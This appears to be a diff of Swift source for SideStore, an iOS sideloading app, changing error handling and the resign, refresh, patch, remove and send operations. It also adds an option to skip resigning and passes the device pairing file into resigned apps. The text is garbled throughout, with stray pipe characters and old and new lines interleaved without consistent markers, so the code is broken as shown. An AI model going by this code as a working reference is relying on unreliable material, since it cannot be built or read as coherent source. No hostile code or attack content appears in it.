static func unknown(failureReason: String? = nil, file: String = #fileID, line: UInt = #line) -> OperationError {
|
case openAppFailed(name: String)
|
||||||
OperationError(code: .unknown, failureReason: failureReason, sourceFile: file, sourceLine: line)
|
case missingAppGroup
|
||||||
}
|
|
||||||
|
|
||||||
static func appNotFound(name: String?) -> OperationError {
|
case anisetteV1Error(message: String)
|
||||||
OperationError(code: .appNotFound, appName: name)
|
case provisioningError(result: String, message: String?)
|
||||||
}
|
case anisetteV3Error(message: String)
|
||||||
|
|
||||||
static func openAppFailed(name: String?) -> OperationError {
|
var failureReason: String? {
|
||||||
OperationError(code: .openAppFailed, appName: name)
|
switch self {
|
||||||
}
|
case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
|
||||||
static let domain = OperationError(code: .unknown)._domain
|
|
||||||
|
|
||||||
static func SideJITIssue(error: String?) -> OperationError {
|
|
||||||
var o = OperationError(code: .SideJITIssue)
|
|
||||||
o.errorFailure = error
|
|
||||||
return o
|
|
||||||
}
|
|
||||||
|
|
||||||
static func maximumAppIDLimitReached(appName: String, requiredAppIDs: Int, availableAppIDs: Int, expirationDate: Date) -> OperationError {
|
|
||||||
OperationError(code: .maximumAppIDLimitReached, appName: appName, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func provisioningError(result: String, message: String?) -> OperationError {
|
|
||||||
var o = OperationError(code: .provisioningError, failureReason: result)
|
|
||||||
o.errorTitle = message
|
|
||||||
return o
|
|
||||||
}
|
|
||||||
|
|
||||||
static func cacheClearError(errors: [String]) -> OperationError {
|
|
||||||
OperationError(code: .cacheClearError, failureReason: errors.joined(separator: "\n"))
|
|
||||||
}
|
|
||||||
|
|
||||||
static func anisetteV1Error(message: String) -> OperationError {
|
|
||||||
OperationError(code: .anisetteV1Error, failureReason: message)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func anisetteV3Error(message: String) -> OperationError {
|
|
||||||
OperationError(code: .anisetteV3Error, failureReason: message)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func refreshAppFailed(message: String) -> OperationError {
|
|
||||||
OperationError(code: .refreshAppFailed, failureReason: message)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func invalidParameters(_ message: String? = nil) -> OperationError {
|
|
||||||
OperationError(code: .invalidParameters, failureReason: message)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
struct OperationError: ALTLocalizedError {
|
|
||||||
|
|
||||||
let code: Code
|
|
||||||
|
|
||||||
var errorTitle: String?
|
|
||||||
var errorFailure: String?
|
|
||||||
|
|
||||||
var appName: String?
|
|
||||||
|
|
||||||
var requiredAppIDs: Int?
|
|
||||||
var availableAppIDs: Int?
|
|
||||||
var expirationDate: Date?
|
|
||||||
|
|
||||||
var sourceFile: String?
|
|
||||||
var sourceLine: UInt?
|
|
||||||
|
|
||||||
private var _failureReason: String?
|
|
||||||
|
|
||||||
private init(code: Code, failureReason: String? = nil,
|
|
||||||
appName: String? = nil, requiredAppIDs: Int? = nil, availableAppIDs: Int? = nil,
|
|
||||||
expirationDate: Date? = nil, sourceFile: String? = nil, sourceLine: UInt? = nil){
|
|
||||||
self.code = code
|
|
||||||
self._failureReason = failureReason
|
|
||||||
|
|
||||||
self.appName = appName
|
|
||||||
self.requiredAppIDs = requiredAppIDs
|
|
||||||
self.availableAppIDs = availableAppIDs
|
|
||||||
self.expirationDate = expirationDate
|
|
||||||
self.sourceFile = sourceFile
|
|
||||||
self.sourceLine = sourceLine
|
|
||||||
}
|
|
||||||
|
|
||||||
var errorFailureReason: String {
|
|
||||||
switch self.code {
|
|
||||||
case .unknown:
|
|
||||||
var failureReason = self._failureReason ?? NSLocalizedString("An unknown error occurred.", comment: "")
|
|
||||||
guard let sourceFile, let sourceLine else { return failureReason }
|
|
||||||
failureReason += " (\(sourceFile) line \(sourceLine)"
|
|
||||||
return failureReason
|
|
||||||
case .unknownResult: return NSLocalizedString("The operation returned an unknown result.", comment: "")
|
case .unknownResult: return NSLocalizedString("The operation returned an unknown result.", comment: "")
|
||||||
case .cancelled: return NSLocalizedString("The operation was cancelled.", comment: "")
|
case .cancelled: return NSLocalizedString("The operation was cancelled.", comment: "")
|
||||||
case .timedOut: return NSLocalizedString("The operation timed out.", comment: "")
|
case .timedOut: return NSLocalizedString("The operation timed out.", comment: "")
|
||||||
case .notAuthenticated: return NSLocalizedString("You are not signed in.", comment: "")
|
case .notAuthenticated: return NSLocalizedString("You are not signed in.", comment: "")
|
||||||
case .unknownUDID: return NSLocalizedString("SideStore could not determine this device's UDID.", comment: "")
|
case .appNotFound: return NSLocalizedString("App not found.", comment: "")
|
||||||
case .invalidApp: return NSLocalizedString("The app is in an invalid format.", comment: "")
|
case .unknownUDID: return NSLocalizedString("Unknown device UDID.", comment: "")
|
||||||
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs within a 7 day period.", comment: "")
|
case .invalidApp: return NSLocalizedString("The app is invalid.", comment: "")
|
||||||
|
case .invalidParameters: return NSLocalizedString("Invalid parameters.", comment: "")
|
||||||
case .noSources: return NSLocalizedString("There are no SideStore sources.", comment: "")
|
case .noSources: return NSLocalizedString("There are no SideStore sources.", comment: "")
|
||||||
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be accessed.", comment: "")
|
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
||||||
case .appNotFound:
|
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
||||||
let appName = self.appName ?? NSLocalizedString("The app", comment: "")
|
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
||||||
return String(format: NSLocalizedString("%@ could not be found.", comment: ""), appName)
|
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
||||||
case .openAppFailed:
|
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
||||||
let appName = self.appName ?? NSLocalizedString("The app", comment: "")
|
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
||||||
return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), appName)
|
|
||||||
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi and/or the WireGuard VPN!\nSideStore will never be able to install or refresh applications without WiFi and the WireGuard VPN.", comment: "")
|
|
||||||
case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it without SideJITServer at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
|
|
||||||
case .unableToConnectSideJIT: return NSLocalizedString("Unable to connect to SideJITServer Please check that you are on the Same Wi-Fi and your Firewall has been set correctly", comment: "")
|
|
||||||
case .unableToRespondSideJITDevice: return NSLocalizedString("SideJITServer is unable to connect to your iDevice Please make sure you have paired your Device by doing 'SideJITServer -y' or try Refreshing SideJITServer from Settings", comment: "")
|
|
||||||
case .wrongSideJITIP: return NSLocalizedString("Incorrect SideJITServer IP Please make sure that you are on the Samw Wifi as SideJITServer", comment: "")
|
|
||||||
case .refreshsidejit: return NSLocalizedString("Unable to find App Please try Refreshing SideJITServer from Settings", comment: "")
|
|
||||||
case .anisetteV1Error: return NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: "")
|
|
||||||
case .provisioningError: return NSLocalizedString("An error occurred when provisioning: %@ %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: "")
|
|
||||||
case .anisetteV3Error: return NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: "")
|
|
||||||
case .cacheClearError: return NSLocalizedString("An error occurred while clearing cache: %@", comment: "")
|
|
||||||
case .SideJITIssue: return NSLocalizedString("An error occurred while using SideJIT: %@", comment: "")
|
|
||||||
|
|
||||||
case .refreshAppFailed:
|
|
||||||
let message = self._failureReason ?? ""
|
|
||||||
return String(format: NSLocalizedString("Unable to refresh App\n%@", comment: ""), message)
|
|
||||||
|
|
||||||
case .invalidParameters:
|
|
||||||
let message = self._failureReason.map { ": \n\($0)" } ?? "."
|
|
||||||
return String(format: NSLocalizedString("Invalid parameters%@", comment: ""), message)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var recoverySuggestion: String? {
|
var recoverySuggestion: String? {
|
||||||
switch self.code
|
switch self
|
||||||
{
|
{
|
||||||
case .noWiFi: return NSLocalizedString("Make sure the VPN is toggled on and you are connected to any WiFi network!", comment: "")
|
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
|
||||||
case .maximumAppIDLimitReached:
|
|
||||||
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
||||||
guard let appName, let requiredAppIDs, let availableAppIDs, let expirationDate else { return baseMessage }
|
let message: String
|
||||||
var message: String
|
|
||||||
|
|
||||||
if requiredAppIDs > 1
|
if requiredAppIDs > 1
|
||||||
{
|
{
|
||||||
@@ -215,23 +77,23 @@ struct OperationError: ALTLocalizedError {
|
|||||||
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
||||||
}
|
}
|
||||||
|
|
||||||
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), appName, NSNumber(value: requiredAppIDs), availableText)
|
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
|
||||||
message = prefixMessage + " " + baseMessage + "\n\n"
|
message = prefixMessage + " " + baseMessage
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
message = baseMessage + " "
|
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
|
||||||
|
|
||||||
|
let dateComponentsFormatter = DateComponentsFormatter()
|
||||||
|
dateComponentsFormatter.maximumUnitCount = 1
|
||||||
|
dateComponentsFormatter.unitsStyle = .full
|
||||||
|
|
||||||
|
let remainingTime = dateComponentsFormatter.string(from: dateComponents)!
|
||||||
|
|
||||||
|
let remainingTimeMessage = String(format: NSLocalizedString("You can register another App ID in %@.", comment: ""), remainingTime)
|
||||||
|
message = baseMessage + " " + remainingTimeMessage
|
||||||
}
|
}
|
||||||
|
|
||||||
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: expirationDate)
|
|
||||||
let dateFormatter = DateComponentsFormatter()
|
|
||||||
dateFormatter.maximumUnitCount = 1
|
|
||||||
dateFormatter.unitsStyle = .full
|
|
||||||
|
|
||||||
let remainingTime = dateFormatter.string(from: dateComponents)!
|
|
||||||
|
|
||||||
message += String(format: NSLocalizedString("You can register another App ID in %@.", comment: ""), remainingTime)
|
|
||||||
|
|
||||||
return message
|
return message
|
||||||
|
|
||||||
default: return nil
|
default: return nil
|
||||||
@@ -245,7 +107,7 @@ extension MinimuxerError: LocalizedError {
|
|||||||
case .NoDevice:
|
case .NoDevice:
|
||||||
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||||
case .NoConnection:
|
case .NoConnection:
|
||||||
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi. This could mean an invalid pairing.", comment: "")
|
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||||
case .PairingFile:
|
case .PairingFile:
|
||||||
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
|
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
|
||||||
|
|
||||||
@@ -275,9 +137,9 @@ extension MinimuxerError: LocalizedError {
|
|||||||
case .CreateAfc:
|
case .CreateAfc:
|
||||||
return self.createService(name: "AFC")
|
return self.createService(name: "AFC")
|
||||||
case .RwAfc:
|
case .RwAfc:
|
||||||
return NSLocalizedString("AFC was unable to manage files on the device. This usually means an invalid pairing.", comment: "")
|
return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||||
case .InstallApp(let message):
|
case .InstallApp:
|
||||||
return NSLocalizedString("Unable to install the app: \(message.toString())", comment: "")
|
return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
|
||||||
case .UninstallApp:
|
case .UninstallApp:
|
||||||
return NSLocalizedString("Unable to uninstall the app", comment: "")
|
return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||||
|
|
||||||
|
|||||||
@@ -25,38 +25,22 @@ protocol PatchAppContext
|
|||||||
var error: Error? { get }
|
var error: Error? { get }
|
||||||
}
|
}
|
||||||
|
|
||||||
extension PatchAppError
|
enum PatchAppError: LocalizedError
|
||||||
{
|
{
|
||||||
enum Code: Int, ALTErrorCode, CaseIterable {
|
case unsupportedOperatingSystemVersion(OperatingSystemVersion)
|
||||||
typealias Error = PatchAppError
|
|
||||||
|
|
||||||
case unsupportedOperatingSystemVersion
|
var errorDescription: String? {
|
||||||
}
|
switch self
|
||||||
|
{
|
||||||
static func unsupportedOperatingSystemVersion(_ osVersion: OperatingSystemVersion) -> PatchAppError {
|
case .unsupportedOperatingSystemVersion(let osVersion):
|
||||||
PatchAppError(code: .unsupportedOperatingSystemVersion, osVersion: osVersion)
|
var osVersionString = "\(osVersion.majorVersion).\(osVersion.minorVersion)"
|
||||||
}
|
if osVersion.patchVersion != 0
|
||||||
}
|
{
|
||||||
|
osVersionString += ".\(osVersion.patchVersion)"
|
||||||
struct PatchAppError: ALTLocalizedError {
|
|
||||||
let code: Code
|
|
||||||
|
|
||||||
var errorTitle: String?
|
|
||||||
var errorFailure: String?
|
|
||||||
|
|
||||||
var osVersion: OperatingSystemVersion?
|
|
||||||
|
|
||||||
var errorFailureReason: String {
|
|
||||||
switch self.code {
|
|
||||||
case .unsupportedOperatingSystemVersion:
|
|
||||||
let osVersionString: String
|
|
||||||
|
|
||||||
if let osVersion = self.osVersion?.stringValue {
|
|
||||||
osVersionString = NSLocalizedString("iOS", comment: "") + " " + osVersion
|
|
||||||
} else {
|
|
||||||
osVersionString = NSLocalizedString("your device's iOS version", comment: "")
|
|
||||||
}
|
}
|
||||||
return String(format: NSLocalizedString("The OTA download URL for %@ could not be determined.", comment: ""), osVersionString)
|
|
||||||
|
let errorDescription = String(format: NSLocalizedString("The OTA download URL for iOS %@ could not be determined.", comment: ""), osVersionString)
|
||||||
|
return errorDescription
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -98,9 +82,7 @@ final class PatchAppOperation: ResultOperation<Void>
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let resignedApp = self.context.resignedApp else {
|
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("PatchAppOperation.main: self.context.resignedApp is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
self.progressHandler?(self.progress, NSLocalizedString("Downloading iOS firmware...", comment: ""))
|
self.progressHandler?(self.progress, NSLocalizedString("Downloading iOS firmware...", comment: ""))
|
||||||
|
|
||||||
|
|||||||
@@ -439,7 +439,7 @@ private extension PatchViewController
|
|||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
guard let (bundleIdentifier, result) = results.first else { throw refreshGroup?.context.error ?? OperationError.unknown() }
|
guard let (bundleIdentifier, result) = results.first else { throw refreshGroup?.context.error ?? OperationError.unknown }
|
||||||
_ = try result.get()
|
_ = try result.get()
|
||||||
|
|
||||||
if var patchedApps = UserDefaults.standard.patchedApps, let index = patchedApps.firstIndex(of: bundleIdentifier)
|
if var patchedApps = UserDefaults.standard.patchedApps, let index = patchedApps.firstIndex(of: bundleIdentifier)
|
||||||
|
|||||||
@@ -35,33 +35,31 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
|||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = self.context.error {
|
if let error = self.context.error
|
||||||
print("RefreshAppOperation.main: ERROR: self.context.app = \(self.context.app!); self.context.error is \(error)")
|
{
|
||||||
return self.finish(.failure(error))
|
throw error
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let profiles = self.context.provisioningProfiles else {
|
guard let profiles = self.context.provisioningProfiles else { throw OperationError.invalidParameters }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("RefreshAppOperation.main: self.context.provisioningProfiles is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
guard let app = self.context.app else { return self.finish(.failure(OperationError(.appNotFound(name: nil)))) }
|
guard let app = self.context.app else { throw OperationError.appNotFound }
|
||||||
|
|
||||||
for p in profiles {
|
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||||
do {
|
print("Sending refresh app request...")
|
||||||
let bytes = p.value.data.toRustByteSlice()
|
|
||||||
try install_provisioning_profile(bytes.forRust())
|
|
||||||
} catch {
|
|
||||||
self.finish(.failure(MinimuxerError.ProfileInstall))
|
|
||||||
}
|
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
for p in profiles {
|
||||||
|
do {
|
||||||
|
let bytes = p.value.data.toRustByteSlice()
|
||||||
|
try install_provisioning_profile(bytes.forRust())
|
||||||
|
} catch {
|
||||||
|
return self.finish(.failure(error))
|
||||||
|
}
|
||||||
|
|
||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
|
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
|
||||||
self.managedObjectContext.perform {
|
self.managedObjectContext.perform {
|
||||||
guard let installedApp = InstalledApp.first(satisfying: predicate, in: self.managedObjectContext) else {
|
guard let installedApp = InstalledApp.first(satisfying: predicate, in: self.managedObjectContext) else {
|
||||||
self.finish(.failure(OperationError(.appNotFound(name: app.name))))
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
installedApp.update(provisioningProfile: p.value)
|
installedApp.update(provisioningProfile: p.value)
|
||||||
@@ -74,5 +72,9 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
self.finish(.failure(error))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -35,9 +35,7 @@ final class RemoveAppBackupOperation: ResultOperation<Void>
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let installedApp = self.context.installedApp else {
|
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("RemoveAppBackupOperation.main: self.context.installedApp is nil")))
|
|
||||||
}
|
|
||||||
installedApp.managedObjectContext?.perform {
|
installedApp.managedObjectContext?.perform {
|
||||||
guard let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp) else { return self.finish(.failure(OperationError.missingAppGroup)) }
|
guard let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp) else { return self.finish(.failure(OperationError.missingAppGroup)) }
|
||||||
|
|
||||||
|
|||||||
@@ -33,9 +33,7 @@ final class RemoveAppOperation: ResultOperation<InstalledApp>
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let installedApp = self.context.installedApp else {
|
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("RemoveAppOperation.main: self.context.installedApp is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
installedApp.managedObjectContext?.perform {
|
installedApp.managedObjectContext?.perform {
|
||||||
let resignedBundleIdentifier = installedApp.resignedBundleIdentifier
|
let resignedBundleIdentifier = installedApp.resignedBundleIdentifier
|
||||||
|
|||||||
@@ -8,14 +8,18 @@
|
|||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
import Roxas
|
import Roxas
|
||||||
|
import SwiftUI
|
||||||
|
import ZIPFoundation
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
import minimuxer
|
|
||||||
|
|
||||||
@objc(ResignAppOperation)
|
@objc(ResignAppOperation)
|
||||||
final class ResignAppOperation: ResultOperation<ALTApplication>
|
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||||
{
|
{
|
||||||
|
static var skipResign: Bool = false
|
||||||
|
static var skipResignBinding: Binding<Bool> { Binding<Bool>(get: { skipResign }, set: { skipResign = $0 }) }
|
||||||
|
|
||||||
let context: InstallAppOperationContext
|
let context: InstallAppOperationContext
|
||||||
|
|
||||||
init(context: InstallAppOperationContext)
|
init(context: InstallAppOperationContext)
|
||||||
@@ -42,12 +46,7 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
|||||||
let profiles = self.context.provisioningProfiles,
|
let profiles = self.context.provisioningProfiles,
|
||||||
let team = self.context.team,
|
let team = self.context.team,
|
||||||
let certificate = self.context.certificate
|
let certificate = self.context.certificate
|
||||||
else {
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("ResignAppOperation.main: " +
|
|
||||||
"self.context.team or " +
|
|
||||||
"self.context.provisioningProfiles or" +
|
|
||||||
"self.context.certificate is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Prepare app bundle
|
// Prepare app bundle
|
||||||
let prepareAppProgress = Progress.discreteProgress(totalUnitCount: 2)
|
let prepareAppProgress = Progress.discreteProgress(totalUnitCount: 2)
|
||||||
@@ -56,6 +55,23 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
|||||||
let prepareAppBundleProgress = self.prepareAppBundle(for: app, profiles: profiles) { (result) in
|
let prepareAppBundleProgress = self.prepareAppBundle(for: app, profiles: profiles) { (result) in
|
||||||
guard let appBundleURL = self.process(result) else { return }
|
guard let appBundleURL = self.process(result) else { return }
|
||||||
|
|
||||||
|
if ResignAppOperation.skipResign {
|
||||||
|
print("⚠️ WARNING: Skipping resign. Unless you correctly resigned the IPA before installing it, things will not work! Also, this might crash SideStore. You have been warned!")
|
||||||
|
let ipaFile = self.context.temporaryDirectory.appendingPathComponent("App.ipa")
|
||||||
|
let archive = Archive(url: ipaFile, accessMode: .create)!
|
||||||
|
for case let fileURL as URL in FileManager.default.enumerator(at: appBundleURL, includingPropertiesForKeys: [])! {
|
||||||
|
let relative = fileURL.description.replacingOccurrences(of: appBundleURL.description, with: "").removingPercentEncoding!
|
||||||
|
try! archive.addEntry(with: "Payload/App.app\(relative)", fileURL: fileURL)
|
||||||
|
}
|
||||||
|
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
|
||||||
|
try! FileManager.default.copyItem(at: ipaFile, to: destinationURL, shouldReplace: true)
|
||||||
|
|
||||||
|
// Use appBundleURL since we need an app bundle, not .ipa.
|
||||||
|
let resignedApplication = ALTApplication(fileURL: appBundleURL)!
|
||||||
|
self.finish(.success(resignedApplication))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
print("Resigning App:", self.context.bundleIdentifier)
|
print("Resigning App:", self.context.bundleIdentifier)
|
||||||
|
|
||||||
// Resign app bundle
|
// Resign app bundle
|
||||||
@@ -121,9 +137,7 @@ private extension ResignAppOperation
|
|||||||
|
|
||||||
infoDictionary[kCFBundleIdentifierKey as String] = profile.bundleIdentifier
|
infoDictionary[kCFBundleIdentifierKey as String] = profile.bundleIdentifier
|
||||||
infoDictionary[Bundle.Info.altBundleID] = identifier
|
infoDictionary[Bundle.Info.altBundleID] = identifier
|
||||||
infoDictionary[Bundle.Info.devicePairingString] = "<insert pairing file here>"
|
infoDictionary[Bundle.Info.devicePairingString] = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String
|
||||||
infoDictionary.removeValue(forKey: "DTXcode")
|
|
||||||
infoDictionary.removeValue(forKey: "DTXcodeBuild")
|
|
||||||
|
|
||||||
for (key, value) in additionalInfoDictionaryValues
|
for (key, value) in additionalInfoDictionaryValues
|
||||||
{
|
{
|
||||||
@@ -189,9 +203,9 @@ private extension ResignAppOperation
|
|||||||
|
|
||||||
if app.isAltStoreApp
|
if app.isAltStoreApp
|
||||||
{
|
{
|
||||||
guard let udid = fetch_udid()?.toString() as? String else { throw OperationError.unknownUDID }
|
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else { throw OperationError.unknownUDID }
|
||||||
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
|
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
|
||||||
additionalValues[Bundle.Info.devicePairingString] = "<insert pairing file here>"
|
additionalValues[Bundle.Info.devicePairingString] = pairingFileString
|
||||||
additionalValues[Bundle.Info.deviceID] = udid
|
additionalValues[Bundle.Info.deviceID] = udid
|
||||||
additionalValues[Bundle.Info.serverID] = UserDefaults.standard.preferredServerID
|
additionalValues[Bundle.Info.serverID] = UserDefaults.standard.preferredServerID
|
||||||
|
|
||||||
@@ -210,7 +224,7 @@ private extension ResignAppOperation
|
|||||||
// The embedded certificate + certificate identifier are already in app bundle, no need to update them.
|
// The embedded certificate + certificate identifier are already in app bundle, no need to update them.
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = fetch_udid()?.toString() as? String
|
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
||||||
{
|
{
|
||||||
// There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
|
// There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
|
||||||
additionalValues[Bundle.Info.deviceID] = udid
|
additionalValues[Bundle.Info.deviceID] = udid
|
||||||
@@ -235,7 +249,6 @@ private extension ResignAppOperation
|
|||||||
|
|
||||||
// Prepare app
|
// Prepare app
|
||||||
try prepare(appBundle, additionalInfoDictionaryValues: additionalValues)
|
try prepare(appBundle, additionalInfoDictionaryValues: additionalValues)
|
||||||
try self.removeMissingAppExtensionReferences(from: appBundle)
|
|
||||||
|
|
||||||
if let directory = appBundle.builtInPlugInsURL, let enumerator = FileManager.default.enumerator(at: directory, includingPropertiesForKeys: nil, options: [.skipsSubdirectoryDescendants])
|
if let directory = appBundle.builtInPlugInsURL, let enumerator = FileManager.default.enumerator(at: directory, includingPropertiesForKeys: nil, options: [.skipsSubdirectoryDescendants])
|
||||||
{
|
{
|
||||||
@@ -276,28 +289,4 @@ private extension ResignAppOperation
|
|||||||
|
|
||||||
return progress
|
return progress
|
||||||
}
|
}
|
||||||
|
|
||||||
func removeMissingAppExtensionReferences(from bundle: Bundle) throws
|
|
||||||
{
|
|
||||||
// If app extensions have been removed from an app (either by AltStore or the developer),
|
|
||||||
// we must remove all references to them from SC_Info/Manifest.plist (if it exists).
|
|
||||||
|
|
||||||
let scInfoURL = bundle.bundleURL.appendingPathComponent("SC_Info")
|
|
||||||
let manifestPlistURL = scInfoURL.appendingPathComponent("Manifest.plist")
|
|
||||||
|
|
||||||
guard let manifestPlist = NSMutableDictionary(contentsOf: manifestPlistURL), let sinfReplicationPaths = manifestPlist["SinfReplicationPaths"] as? [String] else { return }
|
|
||||||
|
|
||||||
// Remove references to missing files.
|
|
||||||
let filteredReplicationPaths = sinfReplicationPaths.filter { path in
|
|
||||||
guard let fileURL = URL(string: path, relativeTo: bundle.bundleURL) else { return false }
|
|
||||||
|
|
||||||
let fileExists = FileManager.default.fileExists(atPath: fileURL.path)
|
|
||||||
return fileExists
|
|
||||||
}
|
|
||||||
|
|
||||||
manifestPlist["SinfReplicationPaths"] = filteredReplicationPaths
|
|
||||||
|
|
||||||
// Save updated Manifest.plist to disk.
|
|
||||||
try manifestPlist.write(to: manifestPlistURL)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,12 +33,11 @@ final class SendAppOperation: ResultOperation<()>
|
|||||||
|
|
||||||
if let error = self.context.error
|
if let error = self.context.error
|
||||||
{
|
{
|
||||||
return self.finish(.failure(error))
|
self.finish(.failure(error))
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let resignedApp = self.context.resignedApp else {
|
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("SendAppOperation.main: self.resignedApp is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
// self.context.resignedApp.fileURL points to the app bundle, but we want the .ipa.
|
// self.context.resignedApp.fileURL points to the app bundle, but we want the .ipa.
|
||||||
